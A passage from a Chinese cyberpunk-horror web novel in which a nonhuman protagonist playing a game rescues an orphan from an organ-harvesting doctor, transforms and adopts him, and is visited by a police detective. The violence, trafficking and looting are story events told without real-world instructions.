他克制住筑巢的欲望,没有把这笔钱花在给孤儿院扩容上,只卷起桌边脱漆的老式手机,按照字条拨出号码。
“铃铃……”
古早风格的电话铃声响起,听起来有些沉闷,带着一种潮湿朽坏的变调感。
对面很快接通,传出一道温和而困惑的声音:
“H.J?怎么这时候给我打电话?临时有事,今天不能带孩子来诊所了?”
哈斯塔闻言开始上楼,重新给固有资产的宿舍安了一道房门,供他进去带出孩子:
“不。我忘了诊所地址。”
医生好像叹了一口气:
“……迷迭区,就在你们住的凤凰区的东面。你去找一个叫做‘巴克卜泡泡糖俱乐部’的脱衣舞店,左边不远处有一条地下通道,就通向我的诊所。”
医生好脾气地回答完,又匆匆说:“我劝你还是尽快——哦不,我还是替你直接叫一辆的士吧。那孩子的情况太糟糕了,简直像个拔掉了栓的地雷,谁都不知道他什么时候会被体内的肿瘤炸死。”
——肿瘤。
所以上一个存档里,男孩死前爆发出的恶臭,难道是肿瘤和烂肺一道被呕出的气味?
游戏里的的士来得出奇地快,哈斯塔尚还在心里建立有关肿瘤气味的记忆档案,车笛声就在窗外响起。
两道远光灯光掠过窗台,造型简洁流畅的悬浮车在窗边稳稳停下。
环绕侧门的流线型光学灯带闪了两下,侧门便缓缓向上开启,恰好将窗台当做了最好的登车台。
哈斯塔迅速带着面露惊惶、但听到是去诊所,就格外配合的孩子扶上车,全程甚至不需要多做半句解释。
这让他情不自禁地想起过去的某些工作经历:很多时候,一些四五十岁的“老员工”,反应都未必有这个孩子机敏……
他希望那些厚脸皮的老油条会为此感到羞愧。
呜咽似的风声中,悬浮车很快上升。
固有资产大概很少出门,此时病白的脸上浮现出浅淡的血色,两眼微亮地观察眼前这辆车的一切细节。
哈斯塔对这种中档的士则没什么兴趣。毕竟他在现实工作中,坐过无数次更加高级的版本,有的车辆里甚至还会安装三相弹——一种比普通□□威力更高的核武器。
比起车辆,还是下方那些城区更吸引他的注意力:“下面那整片没什么灯光的区域,都是凤凰区?”
话刚问出来,他就意识到自己的失策。
固有资产连见到中档的士车都两眼放光,怎么可能知道这个问题的答案?
好在车上搭载的智能语音助手,代为回答了这个问题:“是的,乘客先生。”
“凤凰区是一个设备老旧、贫穷混乱的街区。”
“绝大多数实力有限、规模不大的帮派,都会选择在这里落脚。”
“这里的大多数居民,都不会在晚上出门,以免被卷入帮派火拼。”
“随意亮灯也不是一个明智的选择——”
“毕竟帮派混混们在这个时间段,一般都保持醉酒,或者嗑嗨了的状态,很可能一时兴起砸碎窗户,或者趁兴进行入室抢劫。”
哈斯塔感受到了凤凰区的淳朴民风:“东面那片霓虹灯海呢?”
“我推测,您是在问我们此行的目的地,迷迭区?”
智能语音助手说:
“那里有着最大的红灯区,货源最全的黑市也坐落在那里。”
“请提醒车上的未成年乘客不要随意张望,以免看见不宜观看的巨型全息*模冲他调情。”
哈斯塔懂了:迷迭区=18+区。
的士很快在迷迭区中降落,他们一齐坠入了那片霓虹灯海的怀抱。
五光十色的招牌水流般在车窗两边迅速滑过。
等身或放大款的全息人模以诱惑而缓慢的节奏摇摆身体,冲任何过路的行人、车辆送去暗示的晲视,或暧昧的飞吻。
水烟与草烟的雾气在人模的唇畔、行人的口鼻中蒸腾。
或是刺鼻或是柔和的香气共同交织成一片迷幻的雾海,一片引诱世人放纵、沉沦,忘却自我和明日的迷迭香海。
不过车上没一个人有心情欣赏这些。
男孩相当觉乖地自行闭眼捂耳,比起外面的投影更紧张于接下来的诊疗。
哈斯塔则还记得上一回固有资产发病的时间点,在悬浮车驶入某个狭窄拥挤的街区,停在一处向下的通道前时,领着男孩迅速下车。
他扶着自己闭眼捂耳的男孩一路往下走,临进门时才后知后觉地想起一个问题:“你叫什么?”
声音的威力依旧明显,男孩枯瘦的身躯显而易见地哆嗦了一下:
“我没有名字,院长。我的父母没给我上过户口,没给我取过名。以前院里的同龄人会叫我‘瓦伦图德内瑞安’,就是‘病鬼’。”
“……”哈斯塔甚至对比不出“固有资产”和“病鬼”哪个更糟糕。
好在医生很快从装潢简陋,但打扫得很干净的小诊所中匆匆迎出来,将孩子带进门。
哈斯塔想跟着飘进接诊室时,被医生诧异而困惑地拦在门外:
“你跟进来做什么?也想一起接受手术?在外面坐着等一会吧,我的朋友。不用担心,我的技术一向很好。”
“铛——”
深薄荷绿的金属门轰隆关上。
哈斯塔在紧闭的门前飘了几秒,片刻后,蛋黄水母头顶缓缓冒出一个问号。
……?这游戏拟真到这份上?真让玩家生等半个小时?
所以人类为什么对这个游戏好评如潮?是喜欢杵在门前等待的感觉吗?
——该不会,这半个小时时间,是为玩家逛诊所外的红灯区准备的吧?
他不确定地重新打开新手教程,果不其然看见一道高亮的路线条,直指通道外:
【任务:殊途同归(进行中)
好医生正在为您的孤儿做手术,等待30分钟后再回来
体验迷迭区的刺激(可选做)】
哈斯塔盯着“刺激”二字看了几秒,再次感觉到了种族歧视。
毕竟这市集里显然不会有他的同类,而让他和人类找刺激,就像撮合大王乌贼和小白兔配种,不能说牛头不对马嘴,只能说猎奇到家。
他无动于衷地忽略了这个可选任务,只专注地倾听手术室内的动静。
隔壁弹珠店内的喧哗,也因此难以避免地涌入感知:
“中!中!!噢……”
“你今晚输了多少钱了,约翰?再这样下去,你要怎么还得起欠涅槃帮的钱?”
“可我不赌还能怎么办?拿这一笔钱,够在凤凰区做什么营生?”
“……不管怎么说,你还是该小心点,把这笔钱趁早还上。免得涅槃帮来抓人,把你送去隔壁的诊所做成‘商品’。”
“……”哈斯塔游动的袍摆骤然静止。
隔着一间诊疗室、两扇房门,手术室内也终于有了动静:“让我看看……哦,好极了。”
*
手术室内。
小瓦伦浑身脱力地躺在冰冷的手术台上,惊恐地看着和善温柔的医生为他打完麻药,骤然咧开一个毫无善意的笑:
“三万五千点……三万五千点!替你叫一辆的士,就花了这么多钱。”
医生维持着那大到夸张的笑容,弯下腰,像个等身的小丑恶作剧盒子:“你就没想过?H.J穷成那样,哪来的钱替你付手术费?”
“迷迭区都是黑医,谁会这么有良心,替你们这种没身份、没背景的人低价做手术,还自掏腰包叫的士去接?”
医生的双手撑在手术台两侧:“一个小时前,尼森去孤儿院见H.J了,是不是?想把你转进他的孤儿院。你觉得他为什么对你这么感兴趣,积极到宁可深夜出门,也要赶在我前面接走你?”
这个世界是残酷的,病态的。
健全的孩子会因容貌、器官被觊觎;残疾的孩子也会因为畸形罕见,而被癖好特殊的客人看中。
即便身处孤儿院,鲜少出门,小瓦伦也听闻过关于“富豪私藏人体标本”、“游轮惊现畸形人表演”的新闻。
而看着雷蒙德医生为手术刀消毒,他几乎能敲定前一项猜测:
有人通过某种渠道看过他的样貌,并花了大价钱雇人“代为收集”,于是尼森、雷蒙德医生同时向名不见经传的孤儿院伸去橄榄枝……
问题是,院长——或者说现在的院长,是否知道这件事?
从小到大的见闻令小瓦伦天生悲观,常以最坏的情况揣测他人,甚少怀抱希望。
但此时此刻,他躺在冰冷的手术台上,面对着向他拿起手术刀的雷蒙德医生,求生的欲望催使他在内心绝望而疯狂地祈祷、希冀一件事:
新院长不知道雷蒙德医生有问题,新院长会来救他!
‘救……’
他竭力大喊,但实际上,只是令自己的呼吸略微加重了一点。
银亮的手术刀抵上他的胸膛,令他仿佛幻感到了金属的凉意,而后重重——
[Mgah……]
一种古怪的呓语骤然响起,像是雨后细脚伶仃的蜘蛛群,顺着手术室的每一条缝隙,一路爬进室内。
小瓦伦感受不到自己身体的变化,但能看见雷蒙德医生从动作到神态整个凝固住,像被美杜莎瞥视后的人形蜡像。
“嘭!”
手术室大门被猛然轰开。
*
哈斯塔卷着刚从街上临时“借”来的重型电磁枪赶入室内,一枪托抡开僵直的人形蜡像,想将小瓦伦卷起再找别的医生,却仍旧晚了一步。
剧烈的咳嗽、干呕、抽气,伴随着腥臭的烂瘤肺脏涌出小瓦伦的嘴。
血液在短短数秒中浸透小瓦伦的衣服,那萨克斯声似乎又在逼近。
‘救……我……’
濒死时刻,小瓦伦晦暗的眼睛反倒被求生欲点亮,亮得像两团封存着火焰的红宝石。
他艰难地向哈斯塔做着口型:‘……我可以为您做任何事。’
*任何事?*
那道古怪的声音又开始在耳边祟语。
哈斯塔置若罔闻,只在数秒内迅速排了一下时间线:
就现在的情况看,他要想救下小瓦伦的命,就必须在不到半小时内:解决尼森、跨越凤凰区、在迷迭区临时找到一个靠谱的黑医,并且劝服他低价为小瓦伦做手术
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——还不能利用精神污染摧毁黑医的神志,以免手术失败。
如果他像现实里那样力速全能,倒是可以生死时速一下。但在这玩家等级仅为1的游戏序章里?不可能。
他的目光再次落在任务的提示栏上:殊途同归……
一个送孤儿去就医的任务,为什么要取这么个名字?
因为策划想告诉玩家:不论你怎么做,去不去红灯区找乐子,小瓦伦的结局就是这样。
他是“注定坠落”,他是“殊途同归”。
不允许玩家扭转的主线剧情,已经书写下了这个人的生死。他的诞生和死亡,就是为了增添故事的悲壮色彩、激起主角的情绪和觉醒。
总有些人,是全能的玩家在剧情里救不回来的。
你尽可以重开无数次,找出最短的路线,练出最快的杀敌速度,但你永远、永远,都无法避免他的死亡,因为剧本已经替他写好了谢幕的注脚。
黑白的序幕页开始浮现,游戏场景跟着时停。
——但作为本该跟着游戏场景一道时停,只能无可奈何地看着死亡CG的玩家。哈斯塔却在此时忽然动了。
他极其违背代码设定、丝毫不讲科学原理地在过场CG中缓缓弯腰,俯身看向刚刚断气的小瓦伦:
“我做下过许诺。”
他从不违背许诺。
“你说你想活着。”
做任何事都可以。
他无形的手掌——或是触须——或是肢体的任何一部分,缓慢地搭上小瓦伦的胸口,污秽而黏稠的污染喷薄而出!
【滋!检……滋滋……】
游戏的字幕遽然间闪成一团马赛克,清晰真实的场景模糊清晰了几个来回。
游戏系统开始尖啸着报错,而哈斯塔肢体下的那具尚未脑死亡的身体,在一动不动良久后,于某一瞬,骤然恢复了重重的心跳!
乒。乒。
乒乒。乒乒。
迟缓的心跳逐渐连接成片,哈斯塔依旧没有收回肢体。
就在今天白天,他才进行过数次“转化”。
那些试图击毙他的背叛者在庞杂稠密的精神污染下,只被扭曲成了毫无自我意识、不成体型的蠕动肉块,而他发自本能地知道,他的“转化”不该仅仅如此。
*没错……你能做到的远超这些,你还太弱小了哈斯塔,你本不该这么弱小。*
那声音像是在叹息,在哀歌:
*变强吧,哈斯塔,再次踏上进化的旅途吧……那才是你该追逐的意义。*
*留下来……哈斯塔。这个世界能够帮助你觉醒。*
——要不是在现实世界也听过这声音逼逼赖赖,绿朱草还提到过“返祖觉醒”,哈斯塔都要怀疑这玩意儿是不是公司试图提高玩家留存率的无耻手段了。
出于对承诺的重视,他摒弃掉絮叨的杂音,专注地推动小瓦伦逐渐从虽然复生、但毫无自我意识的蠕动肉块,进一步向更高一阶转化成型:
腥臭的脏污褪去了,小瓦伦重新有了头颅身体。
长而及背的发丝无风漂浮,呈现出星云般的缥缈质感。
这具全新的躯壳高大壮实,非但与“病弱”毫不相干,甚至也远远脱离了人类的极限体量。
那些过度遒劲、几乎如兽的肌肉上覆盖着白色霜洁的中长茸毛,巨大的树型犄角顶开浓密长发,与他新身躯的体量恰好相配。
雪花与云雾悄然凝结,在这个秋季的夜晚,毫无缘由地出现在手术室中,环绕在小瓦伦的身边。
风轻轻吹过他的脸颊,温柔而缄默地将他唤醒。
“……”小瓦伦缓缓睁开闪耀如星的红色双眼,看见哈斯塔举起的银托盘中倒映出的面容:
“——呜啊唔唔唔!!”
哈斯塔一把将小瓦伦喷发出的尖叫和飓风捂回嘴里:
“安静。你说的只要活着,怎么都可以。”
没人能在被变怪物后快速冷静、接受“不是你说的只要活着就可以嘛”的接受,但小瓦伦几乎在哈斯塔低声勒令后,就条件反射地闭上了嘴。
倒不是出于对新院长的忌惮,也不是出于对怪物的恐惧,而是另一种更加微妙……哈斯塔从未感受过的奇妙联系。
这联系让哈斯塔感到小瓦伦与自己出奇地亲近,以至于他忽然想给只有绰号的小瓦伦取一个新的名字:
“伊塔库亚。”
“什么?”小病鬼·现毛怪盯视银托盘,表情痛苦,显然还是很难接受自己从一个极端,走向另一个极端,比以前更加怪物的现实。
“伊塔库亚,一个新名字。”
哈斯塔从不会因为自己的行为不受欢迎而伤心,主打一个“雷霆雨露,皆是君恩”的超强心态:
“你说你的父母没给你取过名字,也没上过户口——我想收养你,‘小病鬼’。伊塔库亚,是我想给你取的新名字。”
“……?”小瓦伦——不,是伊塔库亚的眼睛缓缓睁大,茫然、不敢置信和惊喜依次划过他的眼睛——现在他的眼睛也不再黯淡浑浊了,耀眼得像夜空中的红色星辰,晚上出门不戴墨镜绝对能随机吓死一个幸运的过路行人,“您想……收养……我?”
哈斯塔:“是的。”
再次强调:哈斯塔并不懂得人类情感,他的考量十分现实:
孤儿成年后就会离开孤儿院,自动脱离固定资产的名单。但养父子就不一样了——一日为父,终身为父。
他怎么可能允许自己花了大力气改造好的固定资产长翅膀飞走!
这和煮熟的鸭子跑了、辛苦养的大白菜被猪拱了有什么区别?
哈斯塔承诺:“我会尽量尽到为人父亲的责任。”
现在的伊塔库亚,一看就很好养,皮糙肉厚,身体结实……应该不会像绿朱草送他的那些小花小草小兔子一样脆弱。
伊塔库亚哪猜得到哈斯塔的内心想法,原本因样貌而产生的苦痛、对自己未来将遭受更多恶意与排斥的无措和恐惧,瞬间被惊喜覆盖:“我……好!”
从前他还有点人样时,都没能让任何一对上孤儿院看孩子的夫妇愿意领养、甚至是正眼看他。
而现在,当他近乎对自己的未来绝望时,他却被领养了?
而且还是一位强大的养父!
伊塔库亚完全忽略了哈斯塔的种种异常之处、堪称邪恶的改造手段。
对于就连活着都要拼尽全力挣扎,声嘶力竭向神明祈求的他来说,任何事都是遥远而虚无的,唯有生存,才是最实际、横拦在眼前的东西,而哈斯塔替他扫平了这条生路上的最大障碍。
游戏系统叮咚响了一声,终于不再放送滋滋的杂音和马赛克。
任务提示从左下角浮起:
【任务:殊途同归(已完成)】
【任务奖励:摇篮教的残损日志×1】
哈斯塔:“……?”
摇篮教的残损日志?这什么任务奖励,这破游戏还记不记得自己“经营建筑”的主定位?
哈斯塔毫无兴趣地将席梦思教(摇篮教:……)的残损日志塞进黄袍里,看了一圈到处都是可交互物品的房间:
事已至此,先扫荡吧。
4. 第 4 章
为了给这场不合法的手术做准备,雷蒙德医生显然赶走了诊所里的所有人,哪怕是接待台的护士。
哈斯塔从接待台的抽屉里搜刮出4千多块钱时,台上的电子钟恰好走到子夜零点。
他习惯性地抬头聆听了一下夜风,没听见夜枭这种子夜常客的啸鸣。
只有那些沉浸在虚幻美梦中的人类,在抱着酒瓶或者脱衣舞者叫着、笑着,试图抓住一些明知白天到来,就会在日光下消散的东西。
“院长,按你说的,诊所里所有医疗器械和药品都打包好了。”
伊塔库亚正试图让自己的巨大犄角穿过门洞:“您确定我们这样……没关系?而且,我们要怎么带这些东西回院?”
“我喊了搬家货车。”哈斯塔将雷蒙德医生的号码簿也揣进黄袍,主打一个片甲不留。
至于这样零元购有没有问题?
拜托,一个贩卖人体器官的NPC既然红了名,那不就是等着被玩家击杀的?
这些物品既然能交互,那不就是等着被玩家收入囊中的?
哈斯塔毫无心理负担(他从没有过那种东西)地低下头,从接待台抽屉里翻出最后一样东西——一本墨绿色的记账簿。
伊塔库亚凑过来:“萨曼,一对天然紫罗兰色眼珠,保存度:完整,成交价:三十万。凯普,肾脏、肝脏、骨髓……”
这本记账簿已经被用了大半,将近数千个人名罗列在表格中。单是翻看,似乎都能从纸张和钢笔墨水的气息中闻到浓厚的血腥味。
身旁的风雪变得沉郁寒冷,哈斯塔却依旧无动于衷。
他摸摸记账簿的底面,好像触到了什么硬物,当即将书页哗哗翻到后面,在最后几页纸中看见一枚铜黄色的、硬币样式的东西,随着夹着它的书页被翻开而滑落。
伊塔库亚眼疾手快地接住:“这是什么重要的纪念品吗?”
“不。”哈斯塔拨了拨伊塔库亚的白绒毛,因其柔软美好的手感而煞有介事地多找了一会,才从里面捏出那枚硬币,“如果重要,雷蒙德会把它收进保险箱里。”
“这应当属于某个病人,更换手术服时掉落出口袋,被护士或者保洁工捡起,随手丢进了抽屉,恰好夹进记账簿。”
圆形铜币上刻着两行小字:
[凯普·布莱克]
[AF70年入会]
哈斯塔很快想起记账簿上那个几乎被掏空的倒霉鬼,将硬币翻了一面:“大概是纪念币,不知道是否值……”
哈斯塔忽地顿住。
诊所惨白的灯光洒在铜币上,泛出一种油腻而怪异的光泽。
这枚铜币的正面隆刻着一个奇怪的符号,由最中心的圆点,和包围圆点的三节弧形短线,以及辐射向三个方向的扭曲曲线组成。
或许是出于某种规定?就像国旗不能乱换颜色一样,雕刻者特意地将铜币的另一面漆成了黑色。
那些扭动的线条则被漆成了泥黄色,微微隆起,匍匐在黑色的底面上,看起来像是一只邪恶而诡丽的多足生物正安睡于黑海中。
“……”
黄袍浮动的幅度骤然变得轻缓,像发觉猎物,发起攻击前,故作松弛、漫不经心的伪装。
哈斯塔紧紧盯着这个奇怪的符号,明明此前从未见过,却莫名感受到一种深切的联系……
就像对于某些东方的怪物来说,名就是一种最简单的咒,他感觉自己和这个符号之间,似乎也有着类似的联系。
“这是什么?”哈斯塔习惯性地脱口而出后,才想起自己身边的不是绿朱草,或者其他可以为他解惑的同事。
不过出乎他意料的,伊塔库亚竟然回答了这个问题:“摇篮教的标识之一。”
哈斯塔有些讶异地望过去,发觉伊塔库亚眼中星光闪烁,眼神显得有些复杂。
他似乎陷入了某种过去的回忆:“我不知道它具体的含义,但我曾在亲生父亲的手臂上,见到过这个印记。”
“……”哈斯塔微妙地保持了沉默。
在一个破电子游戏里,撞见一个和自己似乎保有深切联系,简直像灵魂羁绊一样的符号,就已经很奇葩了。
现在这个符号还出现在自己新养子的亲生父亲的手臂上?
几个小时前才判定“策划狗屎”的哈斯塔,忽然感觉这游戏的水似乎有点深,这个剧情策划指不定有点东西:“详细说说。”
打脸真香是什么,哈斯塔不知道。他只知道哈想要,哈得到。
伊塔库亚抱歉地说:“我知道的也不多……我和父亲的关系从来不好,要不他也不会遗弃我。”
他尽可能地想了想:“总之就是因为我天生病残,母亲离开了父亲,父亲觉得这是什么‘天谴’,所以跑去信那个什么‘摇篮教’。”
“有一天,他忽然很兴奋地跑回家,向我展示他的纹身,说他‘终于入会了’……纹身就跟这个硬币上的符号一模一样。”
“嘟嘟——”
诊所外传来大型货车摁喇叭的声音,因为设备老旧,听起来有些滑稽可笑。
哈斯塔暂时搁置这段对话:“披上床单,躺在担架上。我让搬家公司的员工,把你和这些东西一起抬上车。”
凭本事“借”来的枪,他肯定是不可能还了。
安排完伊塔库亚,哈斯塔就拎着枪飘出去,拿着枪口虎视眈眈地监视壮汉们搬运器械。
几个互相搀扶的瘾君子从他们身边路过,其中几个转头望来,又在哈斯塔升起警戒前,满脸无趣地回头接着走:
“又搬走一家。”
“最近几年,这些黑医的生意的确不太好做……啐!活该!”
“都滚蛋最好,我们现在已经不再需要他们了!”
“老板,”脸颊上纹着条纹刺青的壮汉,满头大汗地凑过来,“东西都搬好了,您跟我们挤一挤驾驶舱,还是坐货箱?”
哈斯塔不是没遇到过“出任务坐卡车后箱,结果被司机暗算”的事:“驾驶舱——你的同事在做什么?”
他看向从货箱爬出来,抱着一大堆喷绘颜料的瘦高个儿。
条纹刺青身体紧绷,瞥着哈斯塔手中的电磁轨道枪解释:“凤凰区的治安可比迷迭区要野蛮,尤其是晚上,走到哪都有可能遇上帮派火拼。”
“临时喷一个涅槃帮的标识,那些火拼的帮派就会给咱们让道……”
“您知道的,涅槃帮是整个凤凰区里最大的帮派,几乎可以算得上统治者,偶尔借用一下他们的威风能方便不少。”
不能飞行的陆地货车,肯定比悬浮车要慢许多。
他们花了二十分钟,驶离夜晚加倍拥挤的迷迭区。进入凤凰区的边郊后,萎靡的黑暗便代替迷幻的霓虹海拥抱了他们。
远方与地平线相接的天空泛出些许要死不死的鱼肚白,持续了一晚的枪炮火拼声依旧一阵接一阵地苟延残喘。
他们相当幸运,没在途中经过帮派的交战区,货车在孤儿院门口停下,卸货拿钱后就主动地迅速离开。
“院长,灯。”伊塔库亚的声音有些紧绷,猩红的眼紧盯着孤儿院中的灯光,“是鹰帮那群混混,他们回来了!”
哈斯塔切出伊塔库亚的角色面板看了眼,被对方整整是自己二十倍的力量值刺伤:“你已经不再弱小了,有些事可以试着自己解决。”
这句鼓励的话像是一声战前的号角,霜白生角的野兽伴随着挤压多年的憎怒,咆哮着冲出圈笼。
伊塔库亚的身体生生撞碎墙壁和大门,雪与飓风在口鼻间生成。
他的手掌弯成像狮子一样的利爪,瞳仁皱缩成扭曲的竖瞳。非人的皮囊之下,流淌着的却是属于人类的愤怒与痛楚:
“伊戈——”
粗犷混响的吼声贯彻了整座孤儿院,将或是聚众围观尼森的小黑屋、或是爬回床上昏睡的混混们震醒。
连发的机.枪.声与充能炮声霎时炸碎了看似宁静的黎明,将安逸美好之下的一切血腥、暴力一并掀露出皮肉。
混混与现代武器在裹挟着雪粒的飓风中彷徨,被摧折,或是被冰封。
伊塔库亚目标清晰地掠过众多敌人,最终将一个尖刺头男人扼住喉咙,抵在墙上:“伊戈,你把齐塔和麦莉卖去了哪?”
尖刺头痛苦地攥住伊塔库亚的手指,徒劳地蹬腿试图挣扎。
他的上半张脸几乎就是个红射线发射器,除了黑色的机械体、红色光学镜头,根本没有任何人类的部分:
“我没……嗬……”痛苦迫使他识相,“洛文德区,洛文德区!那地方都是有钱人,平时根本不可能来凤凰区收养孩子,我只是替那两个女孩找了个好家庭……对!我只是帮助她们!”
尖刺头似乎找到了为自己的生路辩驳的方式,紧紧抓着伊塔库亚的手快速道:
“收养走她们的是两对政客夫妻,他们几乎一天二十四小时都暴露在镁光灯下,如果虐待小孩,一定会被记者狠狠曝光——求你,求你别杀我,我只是替那两个女孩找了个好家庭!我帮了她们!”
“众所周知,能获得大笔金钱入账的不叫‘帮忙’,叫‘交易’。”
哈斯塔当了十几来年的公司社畜,没那么容易被诓骗:
“如果你认为自己只是在‘提供帮助’,为什么不去和那些缉毒警察说?他们想必会‘非常感谢’你们在制.毒和销售领域做出的贡献。”
红名就是红名,血条都亮了,还指望玩家放过吗?
哈斯塔多少考虑了一下让伊塔库亚击杀,自己能不能获得经验,果断拎起电磁轨道枪冲着红名精英怪蓄能。
漆黑的膛口因过热而变红。下一瞬,蓝光轰出!
“……”被伊塔库亚控得死死的精英怪当场摸不着头脑,四肢痉挛了半秒,猝然失去声息。
【恭喜升级!】
【您获得1点自由点,请选择加点方向。】
哈斯塔分出一半心神,用黄袍拍打脱力坐倒的伊塔库亚,以示安抚——但实际上黄袍只是在毛毛上流连。伊塔库亚大概也发现了这点,神情因此变得有些复杂——另一半注意力则放在弹出的数值面板上。
【角色:哈斯塔
精神:20(
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您就是天选的哈利O特!)
智力:1(您可能没长脑子,很多线索就算贴在眼前,您也只能看见一团空气)
力量:1(身娇体弱,一推就倒)
生命:1(请注意不要被A4纸划伤手指!否则您可能死于流血过多)
防御:1(防不了一点,等死吧)
敏捷:20(您可以试试近距离躲子弹)】
“……”哈斯塔有种期末考前临时抱佛脚,但因为不会的科目太多,无从抱起的感觉。
不过考虑到绝大多数攻击,都可以用敏捷躲过,那比起优先增加身体数值,还是加智力比较好吧?
不然看不到线索怎么办?他还想查一查那个奇怪印记的事呢。
他谨慎地给自己的智力加了个一,就见智力的系统描述稍稍变更了一下:
【智力:2(您可能没长脑子,有些线索就算贴在眼前,您也只能看到一团空气)】
哈斯塔:“……”
罢了。理智一点想,他玩这个游戏又不是为了体验悬疑解密的,是为了宣泄筑巢欲的……虽然打从六个小时前到现在,他花在筑巢上的时间,加起来都不超过半个小时。
哈斯塔产生了一定程度上的自我怀疑,以及对电子游戏的警惕:
难怪他的同事常说“染上游戏这辈子就废了!”“明明啥也没做,莫名其妙就在游戏上耗了几小时”,这电子游戏的确是有点子邪恶在身上的。
他越想越严肃,立即端正了游戏态度,提醒自己要保持初心,只专注于最初的游戏目标:筑巢。
他重新切回建筑界面,专心致志地……
【防沉迷提醒!您已游戏超过10个小时,现在是现实时间早上8点,请勿沉迷游戏,忘记正常的生活工作!】
哈斯塔:“……?”
多久?几点?
他好像进游戏也没有做什么!怎么就到了上班时间?
可他最初想做的筑巢也就只筑了二十来分钟,很在意的符号也就才刚刚发现,他甚至还没有机会展开调查——
不。冷静一点。
他理智地对自己说:这是公司发行的游戏,游戏的目的就是为了赚钱,想方设法让人沉迷游戏,舍不得离开游戏,在游戏上花费更多时间和金钱。
他不该坠入如此低劣的消费陷阱,和那些人类玩家一样,被下作的游戏策划玩弄于股掌之间。
秉承着这样清醒的认知,哈斯塔冷静地登出游戏,冷静地出发工作。
任务过程中全心投入,绝对没有想过游戏哪怕一秒,更不可能在工作时思考第二版巢穴该怎么筑造、毛怪有多好挼、这工作为何如此无聊,什么时候才能下班,为什么每一次看时间,都好像距离下班那么遥远。
冷静的蛋黄水母被工作狠狠洗礼,变成散发着淡淡死感的社畜水母。
终于,凌晨两点。
哈斯塔飘着沉重的大波浪,从才发生过实验体暴走的H-6区回到H-1区的巢穴。
再有六个小时,又是新一轮的工作。
他虽然生理上并不需要睡眠,但因研究中心的训练,以及监管者的耳濡目染,早已习惯在结束前一天工作、进行下一天工作之间稍作休息。
不论如何,在这个时间节点打开游戏,都是一种玩物丧志、绝不理智的行为。
哈斯塔劝说着自己,飘回巢穴的入眠处躺下。
几秒后,瘫得扁扁的蛋黄水母渐渐伸长一侧触须……闪电般将头盔拽到身边!
哈斯塔拟态出的头颅毫无睡意,眼神炯炯:
他并不是人类,为什么要将宝贵的时间花在无意义的睡眠上?
难道压抑筑巢的欲望不辛苦吗?
在游戏里许下的承诺就能违背吗?
之前他能够成功转化伊塔库亚,分明是在游戏里抓住了某种契机,才实现了实力的增进。就连内心的声音都劝说他在游戏中多做停留。
难道变强和进化,不是他这样的非人类,永恒追逐的命运之路吗?
——对了,还有那个符号。
他在现实中从未见过的符号,却令他感到灵魂相连。
如此明显、与他联系匪浅的秘密,难道他要放弃探寻吗?
怀揣着一箩筐充分且光明正大的理由,哈斯塔迫不……肃穆地戴上全息头盔。
【游戏加载中……】
【9月28日·8:00a.m·凤凰区·孤儿院】
秋日的阳光像一片融化了的金海,涌向猝不及防的哈斯塔,激出一片拟人的泪意和一个小小的哈欠。
哈斯塔还记得自己昨晚下线前的自我提醒,什么乱七八糟的支线都不慌处理,先打开建筑界面……
“院长,院长!”伊塔库亚急促的声音从办公室门口传来,还带出一声砖石碎裂的声响。
伊塔库亚尴尬地将自己的大犄角从门框上拔出来,压着声音有些焦虑地说:
“警署来人了,车就停在孤儿院门口——会不会是昨天我们去洗劫黑医诊所,被警署查到了?还是为了来缉毒?”
5. 第 5 章
警察找上门,不管目的是什么,听起来都不像是好事。
伊塔库亚的眼神相当不安,然而他的情绪却很难感染到哈斯塔——
因为在现实中,“政府”、“警署”都已经是早已不存在的过去式了。
比起不安,哈斯塔的态度更倾向于好奇探究,毕竟他在公司中所属的机动部门,本质上就是后现代的“警方”。严谨来算,他甚至还能算是个特警。
“我去接待,你在房间里休息。”
哈斯塔迅速将安置尼森的小屋、放置医疗用品的空房间塞进地下一层,再干脆地撤掉通往地下的楼道口,保证就算警方入门搜查,也发现不了地下层的存在。
做好万全的准备,哈斯塔才出门围观灭绝职业……啊不是,接待行业前辈。
和哈斯塔设想的不太一样的是,来孤儿院这个□□窝点的警力并不充足,甚至只有一个。
这位单身匹马,勇闯匪穴的警探先生还装备寒酸,一套警署的制服,一把电击警枪——这就是他拥有的全部。
哈斯塔杵在门前,对这堪称送死的画面感到不解:“您的同事们呢?潜伏在附近?”
“什么同——哦!”灰发警探困惑的脸上,有一瞬流露出了“原来还能这样编”的恍然,“哦,咳,是的。”
他板住脸,严肃点头:“我是凤凰区警署的达斯汀警探,有个案件想找这里的孤儿谈一谈……如果方便的话?”
“……”哈斯塔沉默了几秒,侧身让开大门,心想周围肯定没有其他警员。
他们穿过大厅,一路走向办公室。
路过走廊转角的正衣镜时,警探先生不经意间一瞥,才恍然意识到自己的衣着有些不得体。
他连忙手忙脚乱地蹭掉胸口的蘸酱,拽了拽松垮的领带,尴尬地冲哈斯塔笑了一下,试图压下自己因为睡在巡逻车中而翘起的头发。
*这是一个对警署工作充满热枕的年轻人。*
哈斯塔很轻易就做出了判断。
他在警探身上没有闻到任何谎言、阴谋的气息,只有疲惫和活力。
忙到无暇顾及生活的工作并没有磨损灰发警探的热情和野心,只让他越挫越勇,甚至铤而走险到宁可独自闯进□□窝点,也要追查手中的案件。
“呃……”达斯汀警探的蓝眼睛一路打量四周,有些不确定地问,“我以为这个时间点,会有帮派的成员在孤儿院休息?”
“我从不过问帮派的事务。”才把红名怪的尸体埋进前院地下的哈斯塔,面不改色地推开院长办公室的门。
“好吧。”达斯汀警探放弃管缉.毒扫黑的事,那不是他负责的工作领域,也远超他目前的能力范围。
“我想找的是一位天生残疾,患有多种先天基因权限病的孩子。他的父亲叫做菲利普·布朗?”
哈斯塔知道达斯汀找的是谁了:
“我昨天才带他接受了基因手术,他还在恢复期,现在并未苏醒。不如您和我讲讲这个案子?看我是否知道一些您需要的信息,也许伊塔库亚曾告诉过我。”
说实话,哈斯塔对在游戏里延续现实的工作毫无兴趣。要不是许诺过会尽一个父亲的责任,而伊塔库亚现在又不方便见人,他根本不会多这一句嘴。
但达斯汀的反应却实打实地惊到了他:
“伊塔库亚??什么伊塔库亚?!”
达斯汀的屁股刚挨座椅,就猛得蹿起来,澄澈的浅蓝色眼睛瞪得老大,仿佛哈斯塔说了一句非常不可思议的话:
“——你是说那个孩子??不,等等,你为什么叫他‘伊塔库亚’??”
“……?”哈斯塔敏锐地捕捉到微妙之处:
达斯汀的反应就好像“伊塔库亚”是个很有名的绰号,或者名字:“这名字怎么了?”
